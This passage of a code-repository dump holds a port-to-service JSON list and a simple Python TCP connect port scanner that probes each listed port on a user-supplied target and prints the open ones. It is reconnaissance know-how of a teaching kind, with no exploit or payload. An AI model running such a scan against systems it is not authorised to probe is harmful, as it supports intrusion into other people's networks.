"1082": "amt-esd-prot", 180 | "1083": "ansoft-lm-1", 181 | "1084": "ansoft-lm-2", 182 | "1085": "webobjects", 183 | "1086": "cplscrambler-lg", 184 | "1087": "cplscrambler-in", 185 | "1088": "cplscrambler-al", 186 | "1089": "ff-annunc", 187 | "1090": "ff-fms", 188 | "1091": "ff-sm", 189 | "1092": "obrpd", 190 | "1093": "proofd", 191 | "1094": "rootd", 192 | "1095": "nicelink", 193 | "1096": "cnrprotocol", 194 | "1097": "sunclustermgr", 195 | "1098": "rmiactivation", 196 | "1099": "rmiregistry", 197 | "1100": "mctp", 198 | "1102": "adobeserver-1", 199 | "1104": "xrl", 200 | "1105": "ftranhc", 201 | "1106": "isoipsigport-1", 202 | "1107": "isoipsigport-2", 203 | "1108": "ratio-adp", 204 | "1110": "webadmstart", 205 | "1111": "lmsocialserver", 206 | "1112": "icp", 207 | "1113": "ltp-deepspace", 208 | "1114": "mini-sql", 209 | "1117": "ardus-mtrns", 210 | "1119": "bnetgame", 211 | "1121": "rmpp", 212 | "1122": "availant-mgr", 213 | "1123": "murray", 214 | "1124": "hpvmmcontrol", 215 | "1126": "hpvmmdata", 216 | "1130": "casp", 217 | "1131": "caspssl", 218 | "1132": "kvm-via-ip", 219 | "1137": "trim", 220 | "1138": "encrypted_admin", 221 | "1141": "mxomss", 222 | "1145": "x9-icue", 223 | "1147": "capioverlan", 224 | "1148": "elfiq-repl", 225 | "1149": "bvtsonar", 226 | "1151": "unizensus", 227 | "1152": "winpoplanmess", 228 | "1154": "resacommunity", 229 | "1163": "sddp", 230 | "1164": "qsm-proxy", 231 | "1165": "qsm-gui", 232 | "1166": "qsm-remote", 233 | "1169": "tripwire", 234 | "1174": "fnet-remote-ui", 235 | "1175": "dossier", 236 | "1183": "llsurfup-http", 237 | "1185": "catchpole", 238 | "1186": "mysql-cluster", 239 | "1187": "alias", 240 | "1192": "caids-sensor", 241 | "1198": "cajo-discovery", 242 | "1199": "dmidi", 243 | "1201": "nucleus-sand", 244 | "1213": "mpc-lifenet", 245 | "1216": "etebac5", 246 | "1217": "hpss-ndapi", 247 | "1218": "aeroflight-ads", 248 | "1233": "univ-appserver", 249 | "1234": "search-agent", 250 | "1236": "bvcontrol", 251 | "1244": "isbconference1", 252 | "1247": "visionpyramid", 253 | "1248": "hermes", 254 | "1259": "opennl-voice", 255 | "1271": "excw", 256 | "1272": "cspmlockmgr", 257 | "1277": "miva-mqs", 258 | "1287": "routematch", 259 | "1296": "dproxy", 260 | "1300": "h323hostcallsc", 261 | "1309": "jtag-server", 262 | "1310": "husky", 263 | "1311": "rxmon", 264 | "1322": "novation", 265 | "1328": "ewall", 266 | "1334": "writesrv", 267 | "1352": "lotusnote", 268 | "1417": "timbuktu-srv1", 269 | "1433": "ms-sql-s", 270 | "1434": "ms-sql-m", 271 | "1443": "ies-lm", 272 | "1455": "esl-lm", 273 | "1461": "ibm_wrless_lan", 274 | "1494": "ica", 275 | "1500": "vlsi-lm", 276 | "1501": "saiscm", 277 | "1503": "imtc-mcs", 278 | "1521": "ncube-lm", 279 | "1524": "ingreslock", 280 | "1533": "virtual-places", 281 | "1556": "veritas_pbx", 282 | "1580": "tn-tl-r1", 283 | "1583": "simbaexpress", 284 | "1594": "sixtrak", 285 | "1600": "issd", 286 | "1641": "invision", 287 | "1658": "sixnetudr", 288 | "1666": "netview-aix-6", 289 | "1687": "nsjtp-ctrl", 290 | "1688": "nsjtp-data", 291 | "1700": "mps-raft", 292 | "1717": "fj-hdnet", 293 | "1718": "h323gatedisc", 294 | "1719": "h323gatestat", 295 | "1720": "h323hostcall", 296 | "1721": "caicci", 297 | "1723": "pptp", 298 | "1755": "ms-streaming", 299 | "1761": "cft-0", 300 | "1782": "hp-hcip", 301 | "1801": "msmq", 302 | "1805": "enl-name", 303 | "1812": "radius", 304 | "1839": "netopia-vo1", 305 | "1840": "netopia-vo2", 306 | "1862": "mysql-cm-agent", 307 | "1863": "msnp", 308 | "1864": "paradym-31port", 309 | "1875": "westell-stats", 310 | "1900": "ssdp", 311 | "1914": "elm-momentum", 312 | "1935": "macromedia-fcs", 313 | "1947": "sentinelsrm", 314 | "1971": "netop-school", 315 | "1972": "intersys-cache", 316 | "1974": "drp", 317 | "1984": "bb", 318 | "1998": "x25-svc-port", 319 | "1999": "tcp-id-port", 320 | "2000": "cisco-sccp", 321 | "2001": "dc", 322 | "2002": "globe", 323 | "2003": "brutus", 324 | "2004": "mailbox", 325 | "2005": "berknet", 326 | "2006": "invokator", 327 | "2007": "dectalk", 328 | "2008": "conf", 329 | "2009": "news", 330 | "2010": "search", 331 | "2013": "raid-am", 332 | "2020": "xinupageserver", 333 | "2021": "servexec", 334 | "2022": "down", 335 | "2030": "device2", 336 | "2033": "glogger", 337 | "2034": "scoremgr", 338 | "2035": "imsldoc", 339 | "2038": "objectmanager", 340 | "2040": "lam", 341 | "2041": "interbase", 342 | "2042": "isis", 343 | "2043": "isis-bcast", 344 | "2045": "cdfunc", 345 | "2046": "sdfunc", 346 | "2047": "dls", 347 | "2048": "dls-monitor", 348 | "2049": "nfs", 349 | "2065": "dlsrpn", 350 | "2068": "avauthsrvprtcl", 351 | "2099": "h2250-annex-g", 352 | "2100": "amiganetfs", 353 | "2103": "zephyr-clt", 354 | "2105": "minipay", 355 | "2106": "mzap", 356 | "2107": "bintec-admin", 357 | "2111": "dsatp", 358 | "2119": "gsigatekeeper", 359 | "2121": "scientia-ssdb", 360 | "2126": "pktcable-cops", 361 | "2135": "gris", 362 | "2144": "lv-ffx", 363 | "2160": "apc-2160", 364 | "2161": "apc-2161", 365 | "2170": "eyetv", 366 | "2179": "vmrdp", 367 | "2190": "tivoconnect", 368 | "2191": "tvbus", 369 | "2222": "EtherNet/IP-1", 370 | "2251": "dif-port", 371 | "2260": "apc-2260", 372 | "2288": "netml", 373 | "2301": "cpq-wbem", 374 | "2323": "3d-nfsd", 375 | "2366": "qip-login", 376 | "2381": "compaq-https", 377 | "2382": "ms-olap3", 378 | "2383": "ms-olap4", 379 | "2393": "ms-olap1", 380 | "2394": "ms-olap2", 381 | "2399": "fmpro-fdal", 382 | "2401": "cvspserver", 383 | "2492": "groove", 384 | "2500": "rtsserv", 385 | "2522": "windb", 386 | "2525": "ms-v-worlds", 387 | "2557": "nicetec-mgmt", 388 | "2601": "discp-client", 389 | "2602": "discp-server", 390 | "2604": "nsc-ccs", 391 | "2605": "nsc-posa", 392 | "2607": "connection", 393 | "2608": "wag-service", 394 | "2638": "sybaseanywhere", 395 | "2701": "sms-rcinfo", 396 | "2702": "sms-xfer", 397 | "2710": "sso-service", 398 | "2717": "pn-requester", 399 | "2718": "pn-requester2", 400 | "2725": "msolap-ptp2", 401 | "2800": "acc-raid", 402 | "2809": "corbaloc", 403 | "2811": "gsiftp", 404 | "2869": "icslap", 405 | "2875": "dxmessagebase2", 406 | "2909": "funk-dialout", 407 | "2910": "tdaccess", 408 | "2920": "roboeda", 409 | "2967": "ssc-agent", 410 | "2968": "enpp", 411 | "2998": "realsecure", 412 | "3000": "remoteware-cl", 413 | "3001": "origo-native", 414 | "3003": "cgms", 415 | "3005": "geniuslm", 416 | "3006": "ii-admin", 417 | "3007": "lotusmtap", 418 | "3011": "trusted-web", 419 | "3013": "gilatskysurfer", 420 | "3017": "event_listener", 421 | "3030": "arepa-cas", 422 | "3031": "eppc", 423 | "3052": "apc-3052", 424 | "3071": "xplat-replicate", 425 | "3077": "orbix-loc-ssl", 426 | "3128": "ndl-aas", 427 | "3168": "poweronnud", 428 | "3211": "avsecuremgmt", 429 | "3221": "xnm-clear-text", 430 | "3260": "iscsi-target", 431 | "3261": "winshadow", 432 | "3268": "msft-gc", 433 | "3269": "msft-gc-ssl", 434 | "3283": "Apple Remote Desktop (Net Assistant)", 435 | "3300": "ceph", 436 | "3306": "mysql", 437 | "3333": "dec-notes", 438 | "3351": "btrieve", 439 | "3372": "tip2", 440 | "3389": "ms-wbt-server", 441 | "3390": "dsc", 442 | "3476": "nppmp", 443 | "3493": "nut", 444 | "3517": "802-11-iapp", 445 | "3527": "beserver-msg-q", 446 | "3551": "apcupsd", 447 | "3580": "nati-svrloc", 448 | "3659": "apple-sasl", 449 | "3689": "daap", 450 | "3690": "svn", 451 | "3703": "adobeserver-3", 452 | "3737": "xpanel", 453 | "3766": "sitewatch-s", 454 | "3784": "bfd-control", 455 | "3800": "pwgpsi", 456 | "3801": "ibm-mgr", 457 | "3809": "apocd", 458 | "3814": "neto-dcs", 459 | "3826": "warmux", 460 | "3827": "netmpi", 461 | "3828": "neteh", 462 | "3851": "spectraport", 463 | "3869": "ovsam-mgmt", 464 | "3871": "avocent-adsap", 465 | "3878": "fotogcad", 466 | "3880": "igrs", 467 | "3889": "dandv-tester", 468 | "3905": "mupdate", 469 | "3914": "listcrt-port-2", 470 | "3918": "pktcablemmcops", 471 | "3920": "exasoftport1", 472 | "3945": "emcads", 473 | "3971": "lanrevserver", 474 | "3986": "mapper-ws_ethd", 475 | "3995": "iss-mgmt-ssl", 476 | "3998": "dnx", 477 | "4000": "terabase", 478 | "4001": "newoak", 479 | "4002": "pxc-spvr-ft", 480 | "4003": "pxc-splr-ft", 481 | "4004": "pxc-roid", 482 | "4005": "pxc-pin", 483 | "4006": "pxc-spvr", 484 | "4045": "npp", 485 | "4111": "xgrid", 486 | "4125": "opsview-envoy", 487 | "4126": "ddrepl", 488 | "4129": "nuauth", 489 | "4321": "rwhois", 490 | "4343": "unicall", 491 | "4443": "pharos", 492 | "4444": "nv-video", 493 | "4445": "upnotifyp", 494 | "4446": "n1-fwp", 495 | "4449": "privatewire", 496 | "4550": "gds-adppiw-db", 497 | "4567": "tram", 498 | "4662": "oms", 499 | "4848": "appserv-http", 500 | "4899": "radmin-port", 501 | "4900": "hfcs", 502 | "5000": "commplex-main", 503 | "5001": "commplex-link", 504 | "5002": "rfe", 505 | "5003": "fmpro-internal", 506 | "5004": "avt-profile-1", 507 | "5009": "winfs", 508 | "5030": "surfpass", 509 | "5033": "jtnetd-server", 510 | "5050": "mmcc", 511 | "5051": "ita-agent", 512 | "5054": "rlm-admin", 513 | "5060": "sip", 514 | "5061": "sips", 515 | "5080": "onscreen", 516 | "5087": "biotic", 517 | "5100": "socalia", 518 | "5101": "talarian-tcp", 519 | "5102": "oms-nonsecure", 520 | "5120": "barracuda-bbs", 521 | "5190": "aol", 522 | "5200": "targus-getdata", 523 | "5221": "3exmp", 524 | "5222": "xmpp-client", 525 | "5225": "hp-server", 526 | "5226": "hp-status", 527 | "5269": "xmpp-server", 528 | "5280": "xmpp-bosh", 529 | "5298": "presence", 530 | "5357": "wsdapi", 531 | "5405": "netsupport", 532 | "5414": "statusd", 533 | "5431": "park-agent", 534 | "5432": "postgresql", 535 | "5500": "fcp-addr-srvr1", 536 | "5550": "cbus", 537 | "5555": "personal-agent", 538 | "5566": "westec-connect", 539 | "5631": "pcanywheredata", 540 | "5633": "beorl", 541 | "5666": "nrpe", 542 | "5678": "rrac", 543 | "5679": "dccm", 544 | "5718": "dpm", 545 | "5730": "unieng", 546 | "5859": "wherehoo", 547 | "5900": "rfb", 548 | "5910": "cm", 549 | "5911": "cpdlc", 550 | "5963": "indy", 551 | "5987": "wbem-rmi", 552 | "5988": "wbem-http", 553 | "5989": "wbem-https", 554 | "5999": "cvsup", 555 | "6000": "x11", 556 | "6100": "synchronet-db", 557 | "6101": "synchronet-rtc", 558 | "6106": "mpsserver", 559 | "6112": "dtspcd", 560 | "6123": "backup-express", 561 | "6346": "gnutella-svc", 562 | "6389": "clariion-evr01", 563 | "6502": "boks_servm", 564 | "6510": "mcer-port", 565 | "6543": "lds-distrib", 566 | "6547": "apc-6547", 567 | "6566": "sane-port", 568 | "6580": "parsec-master", 569 | "6669": "ircu", 570 | "6689": "tsa", 571 | "6788": "smc-http", 572 | "6789": "radg", 573 | "6901": "jetstream", 574 | "6969": "acmsoda", 575 | "7000": "afs3-fileserver", 576 | "7001": "afs3-callback", 577 | "7002": "afs3-prserver", 578 | "7004": "afs3-kaserver", 579 | "7007": "afs3-bos", 580 | "7019": "doceri-ctl", 581 | "7025": "vmsvc-2", 582 | "7070": "arcp", 583 | "7100": "font-service", 584 | "7200": "fodms", 585 | "7201": "dlip", 586 | "7402": "rtps-dd-mt", 587 | "7443": "oracleas-https", 588 | "7627": "soap-http", 589 | "7676": "imqbrokerd", 590 | "7741": "scriptview", 591 | "7777": "cbt", 592 | "7778": "interwise", 593 | "7800": "asr", 594 | "7999": "irdmi2", 595 | "8000": "irdmi", 596 | "8001": "vcom-tunnel", 597 | "8002": "teradataordbms", 598 | "8007": "warppipe", 599 | "8008": "http-alt", 600 | "8009": "nvme-disc", 601 | "8021": "intu-ec-client", 602 | "8022": "oa-system", 603 | "8042": "fs-agent", 604 | "8080": "http-alt", 605 | "8081": "sunproxyadmin", 606 | "8082": "us-cli", 607 | "8083": "us-srv", 608 | "8084": "websnp", 609 | "8086": "d-s-n", 610 | "8087": "simplifymedia", 611 | "8088": "radan-http", 612 | "8090": "opsmessaging", 613 | "8100": "xprint-server", 614 | "8181": "intermapper", 615 | "8192": "spytechphone", 616 | "8194": "blp1", 617 | "8200": "trivnet1", 618 | "8292": "blp3", 619 | "8300": "tmi", 620 | "8383": "m2mservices", 621 | "8400": "cvd", 622 | "8402": "abarsd", 623 | "8443": "pcsync-https", 624 | "8500": "fmtp", 625 | "8600": "asterix", 626 | "8800": "sunwebadmin", 627 | "8873": "dxspider", 628 | "8888": "ddi-tcp-1", 629 | "8899": "ospf-lite", 630 | "9000": "cslistener", 631 | "9001": "etlservicemgr", 632 | "9002": "dynamid", 633 | "9009": "pichat", 634 | "9010": "sdr", 635 | "9050": "versiera", 636 | "9080": "glrpc", 637 | "9090": "websm", 638 | "9091": "xmltec-xmlmail", 639 | "9100": "pdl-datastream", 640 | "9101": "bacula-dir", 641 | "9102": "bacula-fd", 642 | "9103": "bacula-sd", 643 | "9111": "hexxorecore", 644 | "9200": "wap-wsp", 645 | "9207": "wap-vcal-s", 646 | "9418": "git", 647 | "9500": "ismserver", 648 | "9535": "mngsuite", 649 | "9593": "cba8", 650 | "9594": "msgsys", 651 | "9595": "pds", 652 | "9618": "condor", 653 | "9666": "zoomcp", 654 | "9876": "sd", 655 | "9877": "x510", 656 | "9898": "monkeycom", 657 | "9900": "iua", 658 | "9998": "distinct32", 659 | "9999": "distinct", 660 | "10000": "ndmp", 661 | "10001": "scp-config", 662 | "10002": "documentum", 663 | "10003": "documentum_s", 664 | "10004": "emcrmirccd", 665 | "10009": "swdtp-sv", 666 | "10010": "rxapi", 667 | "11110": "sgi-soap", 668 | "11111": "vce", 669 | "11967": "sysinfo-sp", 670 | "12000": "entextxid", 671 | "12345": "italk", 672 | "13722": "bpjava-msvc", 673 | "13782": "bpcd", 674 | "13783": "vopied", 675 | "14000": "scotty-ft", 676 | "15000": "hydap", 677 | "15002": "onep-tls", 678 | "15660": "bex-xr", 679 | "16000": "fmsas", 680 | "16001": "fmsascon", 681 | "16992": "amt-soap-http", 682 | "16993": "amt-soap-https", 683 | "19283": "keysrvr", 684 | "19315": "keyshadow", 685 | "20000": "dnp", 686 | "20005": "openwebnet", 687 | "20222": "ipulse-ics", 688 | "30000": "ndmps", 689 | "32768": "filenet-tms", 690 | "32769": "filenet-rpc", 691 | "32770": "filenet-nch", 692 | "32771": "filenet-rmi", 693 | "32772": "filenet-pa", 694 | "32773": "filenet-cm", 695 | "32774": "filenet-re", 696 | "32775": "filenet-pch", 697 | "32776": "filenet-peior", 698 | "32777": "filenet-obrok", 699 | "42510": "caerpc" 700 | } -------------------------------------------------------------------------------- /Port_Scanner_MultiThread/video_4/p_scan.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | import pyfiglet 5 | from rich.console import Console 6 | from rich.table import Table 7 | 8 | from utils import extract_json_data 9 | 10 | console = Console() 11 | 12 | 13 | class PScan: 14 | 15 | PORTS_DATA_FILE = "./common_ports.json" 16 | 17 | def __init__(self): 18 | self.open_ports = [] 19 | self.ports_info = {} 20 | self.remote_host = "" 21 | 22 | def get_ports_info(self): 23 | data = extract_json_data(PScan.PORTS_DATA_FILE) 24 | self.ports_info = {int(k): v for (k, v) in data.items()} 25 | 26 | @staticmethod 27 | def get_host_ip_addr(target): 28 | try: 29 | ip_addr = socket.gethostbyname(target) 30 | except socket.gaierror as e: 31 | print(f"C'è stato un errore... {e}") 32 | sys.exit() 33 | console.print(f"\nIP Address acquired: [bold blue]{ip_addr}[/bold blue]") 34 | return ip_addr 35 | 36 | def scan_port(self, port): 37 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 38 | sock.settimeout(1.0) 39 | conn_status = sock.connect_ex((self.remote_host, port)) 40 | if conn_status == 0: 41 | self.open_ports.append(port) 42 | sock.close() 43 | 44 | def show_completion_message(self): 45 | print() 46 | if self.open_ports: 47 | console.print("Scan Completed. Open Ports:", style="bold blue") 48 | table = Table(show_header=True, header_style="bold green") 49 | table.add_column("PORT", style="blue") 50 | table.add_column("STATE", style="blue", justify="center") 51 | table.add_column("SERVICE", style="blue") 52 | for port in self.open_ports: 53 | table.add_row(str(port), "OPEN", self.ports_info[port]) 54 | console.print(table) 55 | else: 56 | console.print("No Open Ports Found on Target.", style="bold magenta") 57 | 58 | @staticmethod 59 | def show_startup_message(): 60 | ascii_art = pyfiglet.figlet_format("# PSCAN #") 61 | console.print(f"[bold green]{ascii_art}[/bold green]") 62 | console.print("#" * 55, style="bold green") 63 | console.print( 64 | "#" * 9, "Simple MultiThread TCP Port Scanner", "#" * 9, style="bold green" 65 | ) 66 | console.print("#" * 55, style="bold green") 67 | print() 68 | 69 | def initialize(self): 70 | self.show_startup_message() 71 | self.get_ports_info() 72 | try: 73 | target = input("Inserire Target: ") 74 | except KeyboardInterrupt: 75 | console.print("\nRoger that. Exiting.", style="bold red") 76 | sys.exit() 77 | self.remote_host = self.get_host_ip_addr(target) 78 | try: 79 | input("\nPScan is ready. Press ENTER to run the scanner.") 80 | except KeyboardInterrupt: 81 | console.print("\nRoger that. Exiting.", style="bold red") 82 | sys.exit() 83 | else: 84 | self.run() 85 | 86 | def run(self): 87 | for port in self.ports_info.keys(): 88 | try: 89 | print(f"Scanning: {self.remote_host}:{port}") 90 | self.scan_port(port) 91 | except KeyboardInterrupt: 92 | print("\nExiting...") 93 | break 94 | self.show_completion_message() 95 | 96 | 97 | 98 | if __name__ == "__main__": 99 | pscan = PScan() 100 | pscan.initialize() 101 | -------------------------------------------------------------------------------- /Port_Scanner_MultiThread/video_4/requirements.txt: -------------------------------------------------------------------------------- 1 | colorama==0.4.4 2 | commonmark==0.9.1 3 | pyfiglet==0.8.post1 4 | Pygments==2.7.4 5 | rich==9.4.0 6 | typing-extensions==3.7.4.3 7 | -------------------------------------------------------------------------------- /Port_Scanner_MultiThread/video_4/utils.py: -------------------------------------------------------------------------------- 1 | import json 2 | 3 | def extract_json_data(filename): 4 | with open(filename, "r") as file: 5 | data = json.load(file) 6 | return data -------------------------------------------------------------------------------- /Port_Scanner_MultiThread/video_5/common_ports.json: -------------------------------------------------------------------------------- 1 | { 2 | "1": "tcpmux", 3 | "3": "compressnet", 4 | "7": "echo", 5 | "9": "discard", 6 | "13": "daytime", 7 | "17": "qotd", 8 | "19": "chargen", 9 | "20": "ftp-data", 10 | "21": "ftp", 11 | "22": "ssh", 12 | "23": "telnet", 13 | "25": "smtp", 14 | "33": "dsp", 15 | "37": "time", 16 | "42": "nameserver", 17 | "43": "nicname", 18 | "49": "tacacs", 19 | "53": "domain", 20 | "70": "gopher", 21 | "79": "finger", 22 | "80": "www-http", 23 | "82": "xfer", 24 | "83": "mit-ml-dev", 25 | "84": "ctf", 26 | "85": "mit-ml-dev", 27 | "88": "kerberos", 28 | "89": "su-mit-tg", 29 | "90": "dnsix", 30 | "99": "metagram", 31 | "106": "3com-tsmux", 32 | "109": "pop2", 33 | "110": "pop3", 34 | "111": "sunrpc", 35 | "113": "auth", 36 | "119": "nntp", 37 | "125": "locus-map", 38 | "135": "epmap", 39 | "139": "netbios-ssn", 40 | "143": "imap", 41 | "144": "uma", 42 | "146": "iso-tp0", 43 | "161": "snmp", 44 | "163": "cmip-man", 45 | "179": "bgp", 46 | "199": "smux", 47 | "211": "914c/g", 48 | "212": "anet", 49 | "222": "rsh-spx", 50 | "256": "rap", 51 | "259": "esro-gen", 52 | "264": "bgmp", 53 | "280": "http-mgmt", 54 | "311": "asip-webadmin", 55 | "366": "odmr", 56 | "389": "ldap", 57 | "406": "imsp", 58 | "407": "timbuktu", 59 | "416": "silverplatter", 60 | "417": "onmux", 61 | "425": "icad-el", 62 | "427": "svrloc", 63 | "443": "https", 64 | "444": "snpp", 65 | "445": "microsoft-ds", 66 | "458": "appleqtc", 67 | "464": "kpasswd", 68 | "465": "submissions", 69 | "481": "ph", 70 | "497": "retrospect", 71 | "500": "isakmp", 72 | "512": "exec", 73 | "513": "login", 74 | "514": "shell", 75 | "515": "printer", 76 | "524": "ncp", 77 | "541": "uucp-rlogin", 78 | "543": "klogin", 79 | "544": "kshell", 80 | "545": "appleqtcsrvr", 81 | "548": "afpovertcp", 82 | "554": "rtsp", 83 | "555": "dsf", 84 | "563": "nntps", 85 | "587": "submission", 86 | "593": "http-rpc-epmap", 87 | "616": "sco-sysmgr", 88 | "617": "sco-dtmgr", 89 | "625": "dec_dlm", 90 | "631": "ipps", 91 | "636": "ldaps", 92 | "646": "ldp", 93 | "648": "rrp", 94 | "666": "doom", 95 | "667": "disclose", 96 | "668": "mecomm", 97 | "683": "corba-iiop", 98 | "687": "asipregistry", 99 | "691": "msexch-routing", 100 | "700": "epp", 101 | "705": "agentx", 102 | "711": "cisco-tdp", 103 | "714": "iris-xpcs", 104 | "749": "kerberos-adm", 105 | "765": "webster", 106 | "777": "multiling-http", 107 | "800": "mdbs_daemon", 108 | "801": "device", 109 | "873": "rsync", 110 | "888": "cddbp", 111 | "900": "omginitialrefs", 112 | "901": "smpnameres", 113 | "902": "ideafarm-door", 114 | "903": "ideafarm-panic", 115 | "911": "xact-backup", 116 | "912": "apex-mesh", 117 | "990": "ftps", 118 | "992": "telnets", 119 | "993": "imaps", 120 | "995": "pop3s", 121 | "999": "puprouter", 122 | "1000": "cadlock2", 123 | "1001": "webpush", 124 | "1010": "surf", 125 | "1021": "exp1", 126 | "1022": "exp2", 127 | "1025": "blackjack", 128 | "1026": "cap", 129 | "1029": "solid-mux", 130 | "1033": "netinfo-local", 131 | "1034": "activesync", 132 | "1035": "mxxrlogin", 133 | "1036": "nsstp", 134 | "1037": "ams", 135 | "1038": "mtqp", 136 | "1039": "sbl", 137 | "1040": "netarx", 138 | "1041": "danf-ak2", 139 | "1042": "afrog", 140 | "1043": "boinc-client", 141 | "1044": "dcutility", 142 | "1045": "fpitp", 143 | "1046": "wfremotertm", 144 | "1047": "neod1", 145 | "1048": "neod2", 146 | "1049": "td-postman", 147 | "1050": "cma", 148 | "1051": "optima-vnet", 149 | "1052": "ddt", 150 | "1053": "remote-as", 151 | "1054": "brvread", 152 | "1055": "ansyslmd", 153 | "1056": "vfo", 154 | "1057": "startron", 155 | "1058": "nim", 156 | "1059": "nimreg", 157 | "1060": "polestar", 158 | "1061": "kiosk", 159 | "1062": "veracity", 160 | "1063": "kyoceranetdev", 161 | "1064": "jstel", 162 | "1065": "syscomlan", 163 | "1066": "fpo-fns", 164 | "1067": "instl_boots", 165 | "1068": "instl_bootc", 166 | "1069": "cognex-insight", 167 | "1070": "gmrupdateserv", 168 | "1071": "bsquare-voip", 169 | "1072": "cardax", 170 | "1073": "bridgecontrol", 171 | "1074": "warmspotMgmt", 172 | "1075": "rdrmshc", 173 | "1076": "dab-sti-c", 174 | "1077": "imgames", 175 | "1078": "avocent-proxy", 176 | "1079": "asprovatalk", 177 | "1080": "socks", 178 | "1081": "pvuniwien", 179 | "1082": "amt-esd-prot", 180 | "1083": "ansoft-lm-1", 181 | "1084": "ansoft-lm-2", 182 | "1085": "webobjects", 183 | "1086": "cplscrambler-lg", 184 | "1087": "cplscrambler-in", 185 | "1088": "cplscrambler-al", 186 | "1089": "ff-annunc", 187 | "1090": "ff-fms", 188 | "1091": "ff-sm", 189 | "1092": "obrpd", 190 | "1093": "proofd", 191 | "1094": "rootd", 192 | "1095": "nicelink", 193 | "1096": "cnrprotocol", 194 | "1097": "sunclustermgr", 195 | "1098": "rmiactivation", 196 | "1099": "rmiregistry", 197 | "1100": "mctp", 198 | "1102": "adobeserver-1", 199 | "1104": "xrl", 200 | "1105": "ftranhc", 201 | "1106": "isoipsigport-1", 202 | "1107": "isoipsigport-2", 203 | "1108": "ratio-adp", 204 | "1110": "webadmstart", 205 | "1111": "lmsocialserver", 206 | "1112": "icp", 207 | "1113": "ltp-deepspace", 208 | "1114": "mini-sql", 209 | "1117": "ardus-mtrns", 210 | "1119": "bnetgame", 211 | "1121": "rmpp", 212 | "1122": "availant-mgr", 213 | "1123": "murray", 214 | "1124": "hpvmmcontrol", 215 | "1126": "hpvmmdata", 216 | "1130": "casp", 217 | "1131": "caspssl", 218 | "1132": "kvm-via-ip", 219 | "1137": "trim", 220 | "1138": "encrypted_admin", 221 | "1141": "mxomss", 222 | "1145": "x9-icue", 223 | "1147": "capioverlan", 224 | "1148": "elfiq-repl", 225 | "1149": "bvtsonar", 226 | "1151": "unizensus", 227 | "1152": "winpoplanmess", 228 | "1154": "resacommunity", 229 | "1163": "sddp", 230 | "1164": "qsm-proxy", 231 | "1165": "qsm-gui", 232 | "1166": "qsm-remote", 233 | "1169": "tripwire", 234 | "1174": "fnet-remote-ui", 235 | "1175": "dossier", 236 | "1183": "llsurfup-http", 237 | "1185": "catchpole", 238 | "1186": "mysql-cluster", 239 | "1187": "alias", 240 | "1192": "caids-sensor", 241 | "1198": "cajo-discovery", 242 | "1199": "dmidi", 243 | "1201": "nucleus-sand", 244 | "1213": "mpc-lifenet", 245 | "1216": "etebac5", 246 | "1217": "hpss-ndapi", 247 | "1218": "aeroflight-ads", 248 | "1233": "univ-appserver", 249 | "1234": "search-agent", 250 | "1236": "bvcontrol", 251 | "1244": "isbconference1", 252 | "1247": "visionpyramid", 253 | "1248": "hermes", 254 | "1259": "opennl-voice", 255 | "1271": "excw", 256 | "1272": "cspmlockmgr", 257 | "1277": "miva-mqs", 258 | "1287": "routematch", 259 | "1296": "dproxy", 260 | "1300": "h323hostcallsc", 261 | "1309": "jtag-server", 262 | "1310": "husky", 263 | "1311": "rxmon", 264 | "1322": "novation", 265 | "1328": "ewall", 266 | "1334": "writesrv", 267 | "1352": "lotusnote", 268 | "1417": "timbuktu-srv1", 269 | "1433": "ms-sql-s", 270 | "1434": "ms-sql-m", 271 | "1443": "ies-lm", 272 | "1455": "esl-lm", 273 | "1461": "ibm_wrless_lan", 274 | "1494": "ica", 275 | "1500": "vlsi-lm", 276 | "1501": "saiscm", 277 | "1503": "imtc-mcs", 278 | "1521": "ncube-lm", 279 | "1524": "ingreslock", 280 | "1533": "virtual-places", 281 | "1556": "veritas_pbx", 282 | "1580": "tn-tl-r1", 283 | "1583": "simbaexpress", 284 | "1594": "sixtrak", 285 | "1600": "issd", 286 | "1641": "invision", 287 | "1658": "sixnetudr", 288 | "1666": "netview-aix-6", 289 | "1687": "nsjtp-ctrl", 290 | "1688": "nsjtp-data", 291 | "1700": "mps-raft", 292 | "1717": "fj-hdnet", 293 | "1718": "h323gatedisc", 294 | "1719": "h323gatestat", 295 | "1720": "h323hostcall", 296 | "1721": "caicci", 297 | "1723": "pptp", 298 | "1755": "ms-streaming", 299 | "1761": "cft-0", 300 | "1782": "hp-hcip", 301 | "1801": "msmq", 302 | "1805": "enl-name", 303 | "1812": "radius", 304 | "1839": "netopia-vo1", 305 | "1840": "netopia-vo2", 306 | "1862": "mysql-cm-agent", 307 | "1863": "msnp", 308 | "1864": "paradym-31port", 309 | "1875": "westell-stats", 310 | "1900": "ssdp", 311 | "1914": "elm-momentum", 312 | "1935": "macromedia-fcs", 313 | "1947": "sentinelsrm", 314 | "1971": "netop-school", 315 | "1972": "intersys-cache", 316 | "1974": "drp", 317 | "1984": "bb", 318 | "1998": "x25-svc-port", 319 | "1999": "tcp-id-port", 320 | "2000": "cisco-sccp", 321 | "2001": "dc", 322 | "2002": "globe", 323 | "2003": "brutus", 324 | "2004": "mailbox", 325 | "2005": "berknet", 326 | "2006": "invokator", 327 | "2007": "dectalk", 328 | "2008": "conf", 329 | "2009": "news", 330 | "2010": "search", 331 | "2013": "raid-am", 332 | "2020": "xinupageserver", 333 | "2021": "servexec", 334 | "2022": "down", 335 | "2030": "device2", 336 | "2033": "glogger", 337 | "2034": "scoremgr", 338 | "2035": "imsldoc", 339 | "2038": "objectmanager", 340 | "2040": "lam", 341 | "2041": "interbase", 342 | "2042": "isis", 343 | "2043": "isis-bcast", 344 | "2045": "cdfunc", 345 | "2046": "sdfunc", 346 | "2047": "dls", 347 | "2048": "dls-monitor", 348 | "2049": "nfs", 349 | "2065": "dlsrpn", 350 | "2068": "avauthsrvprtcl", 351 | "2099": "h2250-annex-g", 352 | "2100": "amiganetfs", 353 | "2103": "zephyr-clt", 354 | "2105": "minipay", 355 | "2106": "mzap", 356 | "2107": "bintec-admin", 357 | "2111": "dsatp", 358 | "2119": "gsigatekeeper", 359 | "2121": "scientia-ssdb", 360 | "2126": "pktcable-cops", 361 | "2135": "gris", 362 | "2144": "lv-ffx", 363 | "2160": "apc-2160", 364 | "2161": "apc-2161", 365 | "2170": "eyetv", 366 | "2179": "vmrdp", 367 | "2190": "tivoconnect", 368 | "2191": "tvbus", 369 | "2222": "EtherNet/IP-1", 370 | "2251": "dif-port", 371 | "2260": "apc-2260", 372 | "2288": 